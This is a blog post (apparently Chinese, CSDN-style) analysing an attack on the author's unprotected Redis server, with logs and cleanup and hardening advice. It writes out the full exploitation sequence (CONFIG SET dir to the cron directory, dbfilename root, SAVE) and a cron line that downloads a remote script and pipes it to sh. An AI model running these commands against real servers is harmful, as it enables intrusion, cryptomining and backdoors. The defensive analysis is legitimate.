云服务器上Redis数据库被攻击实录+总结

4 篇文章 0 订阅

情景重现

Redis日志记录(异常部分):

36346:M 14 May 2024 15:46:12.505 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.
36346:M 14 May 2024 19:02:42.702 * DB saved on disk
36346:M 14 May 2024 19:02:42.717 * DB saved on disk
36346:M 14 May 2024 19:02:42.766 # Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Read-only file system
36346:M 14 May 2024 19:02:42.780 # Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Read-only file system
36346:M 14 May 2024 19:02:42.787 # Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Read-only file system
36346:M 14 May 2024 19:02:42.851 # Failed opening the RDB file zzh (in server root dir /etc/cron.d) for saving: Read-only file system
36346:M 14 May 2024 19:02:42.880 # Failed opening the RDB file crontab (in server root dir /etc) for saving: Read-only file system
36346:M 14 May 2024 19:03:58.617 # Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Read-only file system
36346:M 14 May 2024 19:03:58.700 # Failed opening the RDB file redis (in server root dir /var/spool/cron) for saving: Read-only file system
36346:S 14 May 2024 19:03:58.987 * Before turning into a replica, using my own master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
36346:S 14 May 2024 19:03:58.987 * REPLICAOF 103.219.60.221:60146 enabled (user request from 'id=17 addr=47.243.16.34:50786 fd=11 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=30 qbuf-free=32738 argv-mem=26 obl=0 oll=0 omem=0 tot-mem=61498 events=r cmd=slaveof user=default')
36346:S 14 May 2024 19:03:59.807 * Connecting to MASTER 103.219.60.221:60146
36346:S 14 May 2024 19:03:59.807 * MASTER <-> REPLICA sync started
36346:S 14 May 2024 19:04:04.030 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:09.072 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:14.115 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:19.156 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:24.199 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:29.241 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:S 14 May 2024 19:04:34.284 # Module /tmp/exp.so failed to load: /tmp/exp.so: cannot open shared object file: No such file or directory
36346:M 14 May 2024 19:04:34.325 * Discarding previously cached master state.
36346:M 14 May 2024 19:04:34.325 # Setting secondary replication ID to 05af2cae8bdce56a32f335a1cbde4b4c4add8d93, valid up to offset: 1. New replication ID is 724cf768deb216b6e4aec7b6439f612ec19b9d23
36346:M 14 May 2024 19:04:34.325 * MASTER MODE enabled (user request from 'id=17 addr=47.243.16.34:50786 fd=11 name= age=36 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=16 qbuf-free=32752 argv-mem=12 obl=0 oll=0 omem=0 tot-mem=61484 events=r cmd=slaveof user=default')
36346:M 14 May 2024 19:07:43.001 * 10 changes in 300 seconds. Saving...
36346:M 14 May 2024 19:07:43.001 * Background saving started by pid 36903
36903:C 14 May 2024 19:07:43.003 * DB saved on disk
36903:C 14 May 2024 19:07:43.003 * RDB: 0 MB of memory used by copy-on-write
36346:M 14 May 2024 19:07:43.101 * Background saving terminated with success
36346:M 14 May 2024 19:51:06.625 * 1 changes in 900 seconds. Saving...
36346:M 14 May 2024 19:51:06.625 * Background saving started by pid 36984
36984:C 14 May 2024 19:51:06.627 * DB saved on disk

攻击详细解析

笔者的 Redis 服务器遭受了攻击,攻击者通过未加防护的 Redis 端口植入了恶意的 crontab 计划任务,让我的服务器变成了挖矿机器。以下是详细的攻击步骤和防御措施:

1. 未加防护的 Redis 端口

攻击者首先通过网络扫描发现了未加防护的 Redis 端口(默认是 6379)。由于 Redis 默认配置允许无认证访问,攻击者能够直接连接到 Redis 服务器。

2. 植入恶意 crontab 计划任务

攻击者连接到 Redis 服务器后,通过 Redis 命令将恶意的 crontab 任务写入到了计划任务文件中。这是通过 Redis 的 CONFIG 命令和文件写入功能实现的。例如:

# 连接 Redis
redis-cli -h your_server_ip

# 配置 Redis 数据目录
CONFIG SET dir /var/spool/cron/crontabs/

# 设置 Redis 保存文件名
CONFIG SET dbfilename root

# 写入恶意计划任务
SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh"

# 保存到磁盘
SAVE

3. 检查并删除恶意 crontab 计划任务

被植入的计划任务会定期执行恶意脚本,该脚本从攻击者的服务器下载并执行。通常,这些脚本会进行挖矿或其他恶意活动。为了清除这些任务,我们需要检查并删除相关的计划任务:

检查并删除 crontab 计划任务

使用以下命令查看并删除恶意的 crontab 任务:

crontab -l

如果发现有恶意任务,手动删除或使用以下命令清除计划任务文件:

sudo rm /var/spool/cron/crontabs/root

然后重启 cron 服务:

sudo service cron restart
检查并删除 /etc/cron.d/etc/crontab

除了用户级别的 crontab,还需要检查系统级别的计划任务文件:

ls /etc/cron.d
cat /etc/crontab

如果发现恶意文件或任务,手动删除,并从正常的服务器上拷贝正常的文件过来。然后重启 cron 服务:

sudo service cron restart

4. 检查和删除恶意的 SSH 授权密钥

恶意脚本可能会将攻击者的公钥写入到 root 用户的 authorized_keys 文件中,以便获取远程登录权限。检查并删除该文件:

sudo rm /root/.ssh/authorized_keys

5. 增强 Redis 安全性

为防止未来的攻击,需要增强 Redis 和服务器的安全性:

  1. 配置 Redis 访问控制
    修改 Redis 配置文件 /etc/redis/redis.conf,设置绑定 IP 和访问密码。

    # 仅允许本地访问
    bind 127.0.0.1
    
    # 设置访问密码
    requirepass your_secure_password
    

    重启 Redis 服务:

    sudo systemctl restart redis
    
  2. 限制 Redis 端口访问
    使用防火墙限制 Redis 端口的访问,仅允许受信任的 IP 地址访问。

    sudo ufw allow from your_trusted_ip to any port 6379
    sudo ufw enable
    
  3. 定期更新和检查
    定期更新 Redis 和系统软件,检查系统日志,确保没有未授权的访问。

总结

通过以上步骤,可以详细了解攻击过程,并采取有效的措施防止类似攻击的发生。增强 Redis 服务器和系统的安全性是关键,确保只有受信任的用户能够访问和管理服务器。

攻击命令

SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh" 

该命令通过 Redis 将恶意计划任务写入到系统的 crontab 文件中。下面详细解释这条命令的每个部分:

命令背景

攻击者利用 Redis 的 CONFIGSET 命令将恶意任务植入系统的 crontab 文件中,使服务器在特定时间间隔内执行恶意脚本。这是通过 Redis 的持久化机制(如 RDB)实现的。

具体步骤

1. 配置 Redis 数据目录

首先,攻击者使用 CONFIG SET 命令将 Redis 的数据目录设置为系统的 crontab 目录。这一步让 Redis 能够将数据文件保存到该目录。

CONFIG SET dir /var/spool/cron/crontabs/
2. 设置 Redis 保存文件名

接下来,攻击者使用 CONFIG SET 命令将 Redis 保存的数据库文件名设置为 root。在 /var/spool/cron/crontabs/ 目录下,这将覆盖或创建一个名为 root 的文件。

CONFIG SET dbfilename root
3. 写入恶意计划任务

使用 Redis 的 SET 命令,攻击者将恶意的计划任务写入 Redis 数据库。在持久化时,这个任务将被写入到 /var/spool/cron/crontabs/root 文件中。

SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh"
4. 保存到磁盘

最后,攻击者使用 SAVE 命令将 Redis 数据库持久化到磁盘。这将导致 Redis 将当前数据库的内容写入到之前配置的文件目录和文件名中。

SAVE

计划任务的内容解析

*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh

这条 crontab 计划任务每 15 分钟执行一次。具体解析如下:

  • */15:每 15 分钟执行一次。
  • *:每小时的每一分钟。
  • *:每天的每一小时。
  • *:每个月的每一天。
  • *:每周的每一天。

执行的命令是:

curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh
  • curl -fsSL http://xx.xx.xx.xx:7770/ash.sh:从 URL http://xx.xx.xx.xx:7770/ash.sh 下载脚本文件。-fsSL 参数的含义是:
    • -f:失败时不显示 HTTP 错误。
    • -s:静默模式,不输出任何信息。
    • -S:显示错误。
    • -L:如果请求的资源已被移动到其他位置,自动随新的 URL 进行重定向。
  • | sh:下载的脚本文件通过管道传递给 sh(shell)执行。

攻击后的潜在危害

  1. 挖矿:下载并执行的脚本可能用于加密货币挖矿,消耗系统资源。
  2. 后门访问:脚本可能会在系统中植入后门,使攻击者能够随时访问和控制系统。
  3. 数据泄露:脚本可能会收集并泄露系统中的敏感数据。
  4. 进一步攻击:脚本可能会下载和执行其他恶意软件,用于扩展攻击范围。

分析一下

在上述攻击过程中,攻击者通过 Redis 的 SET 命令将恶意的 crontab 计划任务写入到 Redis 数据库,并使用 SAVE 命令将其持久化到磁盘。具体地,攻击者将计划任务写入到 /var/spool/cron/crontabs/root 文件。这里的核心在于,/var/spool/cron/crontabs/root 文件是 cron 守护进程读取并执行计划任务的地方。

计划任务的执行过程

  1. 计划任务的写入

    • 攻击者通过 CONFIG SET dir /var/spool/cron/crontabs/ 将 Redis 的数据目录设置为 cron 的计划任务目录。
    • 使用 CONFIG SET dbfilename root 将 Redis 保存的数据库文件名设置为 root
    • 使用 SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh" 将计划任务写入 Redis。
    • 最后,使用 SAVE 命令将 Redis 数据库持久化到磁盘,这会将计划任务写入到 /var/spool/cron/crontabs/root 文件中。
  2. 计划任务的加载和执行

    • cron 守护进程会定期检查计划任务文件目录 /var/spool/cron/crontabs/ 中的文件。
    • cron 守护进程检测到 /var/spool/cron/crontabs/root 文件被修改时,它会重新加载该文件中的计划任务。
    • 根据 crontab 文件中的时间表达式 */15 * * * *cron 守护进程将每 15 分钟执行一次命令 curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh

时间表达式解析

时间表达式 */15 * * * * 的含义是:

  • */15:每 15 分钟执行一次。
  • *:每小时的每一分钟。
  • *:每天的每一小时。
  • *:每月的每一天。
  • *:每周的每一天。

因此,这个任务会在每小时的第 0、15、30 和 45 分钟执行。

具体执行流程

  1. 计划任务文件被写入
    当攻击者使用 SAVE 命令后,计划任务被写入到 /var/spool/cron/crontabs/root 文件中。

  2. cron 守护进程检测到文件变化
    cron 守护进程定期检查 /var/spool/cron/crontabs 目录中的文件。如果文件有变化(如新增或修改),cron 会重新加载计划任务。

  3. 任务执行
    根据 */15 * * * * 的时间表达式,cron 每 15 分钟执行一次命令 curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh


再接着分析一下

当 Redis 将数据持久化到磁盘时,它会创建一个 RDB 文件(Redis Database File),其中包含 Redis 数据库的二进制快照。通过 Redis 的 SAVE 命令,数据被保存到这个 RDB 文件中。然而,当攻击者配置 Redis 以将数据持久化到 cron 计划任务目录(如 /var/spool/cron/crontabs/)时,实际上是通过操纵 Redis 配置和持久化机制,创建了一个伪装成 RDB 文件的计划任务文件。

攻击过程详解

  1. 设置 Redis 数据目录
    攻击者通过 CONFIG SET dir /var/spool/cron/crontabs/ 将 Redis 的数据目录设置为系统的 cron 计划任务目录。

  2. 设置 Redis 保存的文件名
    使用 CONFIG SET dbfilename root 将 Redis 保存的数据库文件名设置为 root

  3. 写入恶意的 crontab 任务
    使用 Redis 的 SET 命令写入计划任务。

    SET root "*/15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh"
    
  4. 保存到磁盘
    使用 SAVE 命令将数据持久化,这会将上述计划任务写入到 /var/spool/cron/crontabs/root 文件中。

文件格式及 cron 守护进程执行的原因

RDB 文件格式

正常情况下,Redis 的 RDB 文件是一个二进制文件,包含 Redis 数据库的快照。然而,攻击者利用 Redis 配置,将计划任务字符串直接写入到伪装成 RDB 文件的计划任务文件中。

cron 守护进程的工作机制

cron 守护进程负责在预定时间执行计划任务。它定期扫描特定目录(如 /var/spool/cron/crontabs/)中的文件,并读取其中的任务安排。如果这些文件包含有效的 crontab 格式任务,cron 将执行这些任务。

由于 cron 仅检查文件内容是否符合 crontab 语法,而不关心文件是如何生成的,攻击者通过 Redis 持久化机制创建的文件一旦内容符合 crontab 语法,cron 就会执行其中的任务。

关键点总结

  • 计划任务格式:计划任务的格式是一个定时器表达式后跟执行命令。例如:

    */15 * * * * curl -fsSL http://xx.xx.xx.xx:7770/ash.sh | sh
    

    这条任务每 15 分钟执行一次 curl 命令下载并执行远程脚本。

  • 文件路径:攻击者将 Redis 配置为将数据持久化到 cron 计划任务目录,如 /var/spool/cron/crontabs/root。这导致持久化的内容成为 cron 守护进程的一部分计划任务。

  • 持久化机制的滥用:通过 Redis 的 SAVE 命令,数据被持久化到伪装成 RDB 文件的计划任务文件中。

Redis配置中的dbfilename参数

在Redis配置文件中,dbfilename 参数用于指定将数据库快照(dump)保存到磁盘时所使用的文件名。Redis支持将内存中的数据持久化到磁盘,以便在服务器重启后能够恢复数据。dbfilename 决定了持久化文件的名称,默认情况下,该文件名为 dump.rdb

详细作用:

  1. 指定持久化文件名

    • dbfilename 参数用于设置RDB持久化文件的文件名。例如,如果在 redis.conf 文件中设置 dbfilename mydump.rdb,那么Redis会将快照数据保存到一个名为 mydump.rdb 的文件中。
  2. 持久化类型

    • Redis主要有两种持久化方式:RDB (Redis Database) 和 AOF (Append-Only File)。
    • dbfilename 只影响RDB快照文件的名称,与AOF文件无关。
  3. 文件位置

    • dbfilename 仅指定文件名,文件存储的位置由 dir 参数决定。例如,如果 dir 参数设置为 /var/lib/redis,而 dbfilename 设置为 dump.rdb,那么快照文件的完整路径就是 /var/lib/redis/dump.rdb
  4. 持久化配置

    • RDB文件是通过快照机制生成的,快照的生成条件可以通过 save 配置参数来指定,例如:
      save 900 1  # 在900秒内至少有1个key发生变化
      save 300 10 # 在300秒内至少有10个key发生变化
      save 60 10000 # 在60秒内至少有10000个key发生变化
      
    • 每当满足这些条件之一时,Redis会生成一个新的RDB文件,并使用 dbfilename 参数指定的名称保存。
  5. 备份与恢复

    • 由于 dbfilename 参数指定了RDB文件的名称,因此在进行备份时,可以通过复制这个文件来备份数据库。在恢复数据时,只需将备份的RDB文件放回 dir 目录,并确保文件名与 dbfilename 参数一致。

示例配置:

假设我们希望将RDB文件命名为 mydatabase.rdb 并存储在 /data/redis 目录下,则可以在 redis.conf 文件中进行如下配置:

dir /data/redis
dbfilename mydatabase.rdb
save 900 1
save 300 10
save 60 10000

在这个配置中:

  • RDB文件将命名为 mydatabase.rdb
  • 文件将存储在 /data/redis 目录中。
  • 快照的生成条件也已配置,当满足任一条件时会生成快照。

通过这种方式,dbfilename 参数可以帮助我们灵活地管理Redis数据的持久化文件,确保数据的可靠性和安全性。

crontab命令

crontab 是一个用于安装、卸载和列出在 Unix 和类 Unix 操作系统中计划任务的命令。计划任务通过 cron 守护进程来执行。cron 是一种基于时间的任务调度器,常用于安排周期性任务(如备份、系统维护等)。

Linux 系统中,crontab 文件的默认位置是在 /var/spool/cron 目录中。crontab 文件以用户名为文件名,例如 /var/spool/cron/root。crontab 文件用于存储用户的定时任务。

以下是一些常用的 crontab 命令及其用途:

1. 编辑 crontab 文件

使用 crontab -e 命令可以编辑当前用户的 crontab 文件。crontab 文件包含一系列计划任务,每个任务由一个时间表达式和一个要执行的命令组成。

crontab -e

这将打开默认编辑器(如 vinano),我们可以在其中添加、编辑或删除计划任务。

2. 列出 crontab 文件

使用 crontab -l 命令可以列出当前用户的 crontab 文件中所有计划任务。

crontab -l

3. 删除 crontab 文件

使用 crontab -r 命令可以删除当前用户的 crontab 文件,所有计划任务将被删除。

crontab -r

4. 安装新的 crontab 文件

使用 crontab file 命令可以从一个文件中读取计划任务并安装为当前用户的 crontab 文件。

crontab mycronfile

crontab 文件格式

crontab 文件中的每一行代表一个计划任务,格式如下:

* * * * * command_to_be_executed
- - - - -
| | | | |
| | | | +----- 一周中的星期几 (0 - 7) (星期天为0或7)
| | | +------- 月份 (1 - 12)
| | +--------- 日期 (1 - 31)
| +----------- 小时 (0 - 23)
+------------- 分钟 (0 - 59)

例如,以下任务表示每天上午 7:30 运行 /path/to/command

30 7 * * * /path/to/command

示例

以下是一些常见的 crontab 示例:

  1. 每天凌晨 2 点运行备份脚本:
0 2 * * * /path/to/backup.sh
  1. 每周一上午 8 点运行报告生成脚本:
0 8 * * 1 /path/to/report.sh
  1. 每小时的第 5 分钟运行清理脚本:
5 * * * * /path/to/cleanup.sh
  1. 每 5 分钟运行一次脚本:
*/5 * * * * /path/to/script.sh

总结

crontab 命令是管理计划任务的强大工具,通过 crontab 文件可以非常灵活地安排任务的执行时间。了解 crontab 文件的格式和用法,可以帮助我们有效地自动化系统任务。


执行sudo apt install redis-server 命令后,Redis 进程将作为 redis 用户运行

当使用 sudo apt install redis-server 命令安装 Redis 服务器后,Redis 进程将作为 redis 用户运行,而不是 root 用户。这样做是出于安全考虑,避免 Redis 以高权限用户(如 root)运行,从而降低安全风险。

以下是 Redis 安装和运行的典型流程:

  1. 安装 Redis 服务器

    sudo apt install redis-server
    
  2. Redis 配置文件
    安装完成后,Redis 的配置文件通常位于 /etc/redis/redis.conf

  3. 检查 Redis 服务状态
    使用 systemctl 检查 Redis 服务的状态:

    sudo systemctl status redis
    

    可以看到类似以下的输出,表明 Redis 服务正在运行:

    ● redis-server.service - Advanced key-value store
       Loaded: loaded (/lib/systemd/system/redis-server.service; enabled; vendor preset: enabled)
       Active: active (running) since ...
    
  4. 检查 Redis 进程的所有者
    我们可以使用 pspgrep 命令来查看 Redis 进程的所有者。以下是一个示例:

    ps aux | grep redis
    

    或者:

    pgrep -u redis -lf
    

    可以看到类似以下的输出,表明 Redis 进程是由 redis 用户运行的:

    redis    1234  0.0  0.1  123456  1234 ?        Ssl  00:00   0:01 /usr/bin/redis-server *:6379
    

详细步骤

  1. 安装 Redis

    sudo apt update
    sudo apt install redis-server
    
  2. 启动和启用 Redis
    安装完成后,Redis 服务会自动启动并配置为在系统启动时自动启动。使用以下命令确保 Redis 服务已启动并启用:

    sudo systemctl start redis
    sudo systemctl enable redis
    
  3. 检查 Redis 运行状态

    sudo systemctl status redis
    
  4. 验证 Redis 进程的所有者

    ps aux | grep redis
    

修改 Redis 用户配置(如有需要)

如果我们确实需要修改 Redis 服务的运行用户(尽管通常没有必要),那么可以编辑 Redis 的 systemd 服务配置文件 /lib/systemd/system/redis-server.service

sudo vi /lib/systemd/system/redis-server.service

找到以下行并修改为所需用户:

User=redis
Group=redis

修改后,重新加载 systemd 配置并重启 Redis 服务:

sudo systemctl daemon-reload
sudo systemctl restart redis

总结

在标准的 Redis 安装过程中,Redis 服务通常以 redis 用户身份运行,而不是 root 用户。这种配置是为了安全性考虑,避免以高权限用户运行服务。如果需要检查或验证,可以使用 pspgrep 等命令来查看 Redis 进程的所有者。

  • 15
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

青衫客36

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值